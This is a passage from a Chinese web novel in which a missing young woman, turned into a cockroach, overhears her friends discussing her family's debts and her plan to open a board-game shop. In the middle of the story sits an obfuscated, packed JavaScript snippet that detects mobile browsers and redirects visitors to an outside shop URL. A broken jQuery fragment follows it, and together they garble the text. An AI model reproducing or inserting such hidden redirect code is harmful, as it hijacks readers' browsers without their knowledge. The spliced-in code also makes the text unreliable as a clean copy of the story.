“不会。”许枭反应最快。
“不可能!”苏槿反应最大。
“你是不是皮痒了?”谢秋阳最知行合一。
因为在我听到她这句话的同时,一声嘹亮的“啪”已从林嘉昱的方向传来。听着是巴掌落在羽绒服上,其声音之沉闷、力道之骇人,在场除了谢秋阳应该无人能做到。
林嘉昱挨了打也没反抗,自知理亏道:“我的我的,我嘴贱了。”
其实嘴贱是他一贯的特性。无论我和谢秋阳、谢秋阳和苏槿、我和许枭之间有多大矛盾,林嘉昱都能在种种恩怨中游刃有余地被所有人喜欢,靠的正是这张荤素不忌的烂嘴。
他的话又多又密,像一只叽叽喳喳的小麻雀,有他在的地方就有热闹。就算偶有几句说错的,也没人会真的怪他。
然而这次显然没有人打圆场。除了谢秋阳那一声巴掌外,甚至没有人再给出更多的反应,他们生硬地把话题转走,又开始重复讨论起刚刚讨论过的问题。
“她同事没有什么消息,都只知道她节后第一天就没去上班——”
这是无意义的重复,但只有知道秋飒处境的我能听得出来。其余几人像是要抓住根救命稻草一样,对这个突然冒出来、能分散点注意力的话题表现出十足的兴趣。
七嘴八舌的无效信息里,又突兀地冒出一句:“她不是那种会自杀的人。”
是谢秋阳的声音,她很笃定。
于是回归沉默。
我发现他们挺有意思的,明明很在意这事,又要装作什么都没发生;看似揭过去了,还要耿耿于怀地提起。
谢秋阳能如此笃定,大概来源于她此前对我长达近十年的了解。许枭和林嘉昱当然也不相信我是会自杀的人,因为他们离我还是有点太远了。
苏槿那一声“不可能”最惊慌,因为只有她完全掌握着我的近况。
六岁的、十二岁的乃至于十八岁的秋飒,的确没有任何自杀的可能。
生命的前二十二年里,我一向觉得自己像一只打不死的蟑螂。别说许枭那点冷脸和刁难了,我从人口密度饱和的某农业省份考入国内顶尖高校,勇敢面对过脑仁缺失的室友、小组作业组员和实习同事,在各类游戏和各大社交媒体上遇到伪人时从不吝啬开麦并无一败绩。
直到真的被生活压垮,才发现过往的顽强全有赖于命运对我还算友善。
如果你问几年前的我会不会自杀,我也会像他们一样笃定地说秋飒不是会自杀的人。但如果你现在问我,我可能真的要思考思考。
“可以具体说说她这几年到底发生什么了吗?”许枭的声音打破了僵局。
“我知道这样有点冒昧,一般情况下我们肯定不会这样要求的。可是现在……大家能多知道一点,讨论的时候可能性就多一点。”
“这个时候了,管不了那么多的。”谢秋阳附和道。
“……拜托了。”我听见一向嘻嘻哈哈的林嘉昱发出了没有听过的沉闷声音。
我依稀觉得许枭的心跳又快了点,于是试图向更靠近他的那一侧挪动。这一侧的布料温度确实更高,是他的体温吗?
春江水暖鸭先知,许枭心跳螂先知。为了缓解此时莫名紧张的情绪,我漫无目的地想着诸如此类的废话。
“她本来毕业是该去读研的,”苏槿的声音终于还是响起,“但是大四刚开头,父母就出意外了。”
“家里前两年刚换了新房子,有房贷要还,父母的工资一断就没法还了,只能法拍。这几年房价本来就跌了很多,法拍价格更低,再加上利息……还都不够还。”
“就没有再接着读研,先出来找工作了。学校虽然好,但毕竟只是本科学历,也不是理工专业,又想多赚点……工作很辛苦。”
苏槿为尽可能少暴露我当时的窘境,选择了一笔带过,我听着这样轻描淡写的描述,竟也没有想象中那么难受。
我以为强行再回忆起那些时候,会把自己重新拉入狼狈的境地,然而或许是时间过去了太久,也或许是我真的在往前走,听完苏槿一口气这么一串话,我像是在听别人的故事。
“还差多少钱?她现在还完了吗?”许枭当先问道。
“还完了,”苏槿这句话出来,我听到两边都传来细微的松了一口气的声音,“但她还是想再趁着年轻多攒点钱,等攒到一百万就去开牌店。我最担心的就是,她最近越来越多次跟我说,攒够这一百万还要好多年,她会死在工位上的……”
那当然是夸张之词。我明白,苏槿也明白,然而放在失踪后回想这话,她显然没法再当玩笑。
其实我已经攒够三十万了。
我租了一个很小、很偏远的单间,每天早上早早起来地铁通勤,平时在公司食堂吃饭,周末外卖也点便宜的,把生活成本压缩到最低。
家里留下的流动资金,加上卖了家具汽车一类零零碎碎的进项,以及刚毕业时周末不加班就去兼职做教培,我很快还清了那笔钱。
还清之后我就不再周末兼职了,不然会更早一跃解千愁。如今工作不到三年,我把钱还上了,还攒出三十来万,离开个牌店过自由日子的生活好像越来越近。
可是我有点受不了了。
开牌店要预留五十万左右的成本投入,为了迎接开头甚至是长期的亏损,能够多点容错,我打算攒够一百万再从公司滚蛋,那就意味着我还要再这样干五年。
我还要继续开门看客户脸色,关门看领导脸色,里外当狗。
原本考研是想跨考到法学的,法硕的书我已经啃完了第一本,希望毕业可以去当个律师,我一直觉得律师很帅。当然啦,我也想过如果没有考上研,就在离家近的地方考公或考编,每天早早下班回家,吃一辈子爸爸妈妈做的饭。
他们前两年要买那套更大的房子,也是做好了这个打算的。
“你要是愿意回家陪我们,当然要给你换个更大的房子呀。以后你要是结婚了,最好能让男方嫁到咱们家吧,那不得有套大点的房子吗?”
当时我打趣妈妈:“招赘呀?老爹是这样嫁到咱们家的吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372664|199998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们三个边围着剥砂糖橘吃边笑,这些话又清晰地在我脑子里浮现。
那些期待中美好的生活终于离我而去了。我没法再读研,我要养活自己,也更没有可能在爸爸妈妈身边,找一个能早早下班回家的工作。
取而代之的是,继续在这个吃人的地方呆五年。
刚刚听苏槿说起最艰难的那段时间都没有什么波动了,如今想起这些,反倒又想掉眼泪。
我伸出手,准备擦眼泪。
前足突然出现在我面前,黑亮黑亮的,吓我一跳。
……哈哈,原来我是只蟑螂呀。
刚涌上来的难过劲儿顿时消散大半,我看着自己的前足,拿触角戳了戳它,九分无语之余竟有一分放松。
现在的我纵使变成蟑螂、面临着一团糟的处境,可至少短暂逃离了困扰已久的窒息。
口袋外的四个人却没有。他们在听完我的毕业故事后又听了我的牌店梦想,气氛越发凝重,直到离开时都没缓过来。
我老老实实呆在许枭的口袋里,放弃了众目睽睽之下冒着被发现的风险跟苏槿走、并回到她家面对战力未知流浪猫的打算。
明明已经起身道别了,谢秋阳的声音却又传了过来。
“你……要不咱俩加个微信?”
她的语气别别扭扭的,我鲜少听到这样的谢秋阳.
她没有谁的微信?林嘉昱肯定是有的,这小子和谁都能联系上;也不该是许枭,我记得见过她给许枭的朋友圈点赞,总不能是……
“我吗?”苏槿错愕问道。
“不然呢?”谢秋阳话音里的不自在更甚,“还是加个微信吧,你和她现在联系最多,报警那边也是你在跟进,万一有什么事也方便联系。”
我好像听见苏槿嗫嚅着说了些什么,可是许枭已经礼貌地离开,没有参与这场尴尬的对话。我只能听着她们俩的声音越来越远,无从得知后面的走向。
我愤愤地踢了许枭一脚,隔着厚厚的衣服。
又是一阵昏天暗地的移动,我们回到了家里。
进门后许枭没有停下脚步,他继续行走,边抚摸自己。能感知到此事是因为他的手险些摸到了我,我边在心里暗骂他非礼蟑螂,边灵活躲闪。
随即我被狠狠扔向某个地方,摔得头晕眼花。
我迅速意识到这里不是沙发——脚感没有那么柔软,周围环境有点暗,空气中传来洗衣液的清香。
我和我亲爱的落脚之地冲锋衣好像被扔进洗衣机里了。至于许枭刚刚那一串诡异的抚摸,大概是在检查兜里有没有没掏出来的东西。
可不能把我放在洗衣机里洗!
好在许枭没有立刻关门放水,他转身离开,洗手间很快响起了哗啦啦的水声。感恩洁癖回家脱完衣服先洗手的习惯,使我小命得以保住。
我迅速钻了出来,暂且躲在洗衣机后面,而后警惕地环顾四周,打算确认一下有没有其他角度能发现我。
一扭头,和一团为我准备的土豆泥面面相觑。